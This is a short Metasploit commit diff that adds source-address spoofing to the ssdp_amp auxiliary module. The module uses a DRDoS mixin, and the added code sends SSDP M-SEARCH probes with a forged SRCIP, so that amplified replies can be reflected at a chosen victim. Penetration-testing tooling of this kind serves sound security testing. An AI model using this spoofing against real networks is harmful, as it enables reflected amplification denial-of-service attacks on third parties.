Land #3841, @jabra-'s modifications to ssdp_amp to support spoofing

bug/bundler_fix
Jon Hart 2014-09-22 12:28:46 -07:00
commit 259a368577
No known key found for this signature in database
GPG Key ID: 2FA9F0A3AFA8E9D3
1 changed files with 7 additions and 1 deletions

View File

@ -7,6 +7,7 @@ require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Capture
include Msf::Auxiliary::UDPScanner
include Msf::Auxiliary::DRDoS
@ -45,7 +46,12 @@ class Metasploit3 < Msf::Auxiliary
end
def scan_host(ip)
scanner_send(@msearch_probe, ip, datastore['RPORT'])
if spoofed?
datastore['ScannerRecvWindow'] = 0
scanner_spoof_send(@msearch_probe, ip, datastore['RPORT'], datastore['SRCIP'], datastore['NUM_REQUESTS'])
else
scanner_send(@msearch_probe, ip, datastore['RPORT'])
end
end
def scanner_process(data, shost, sport)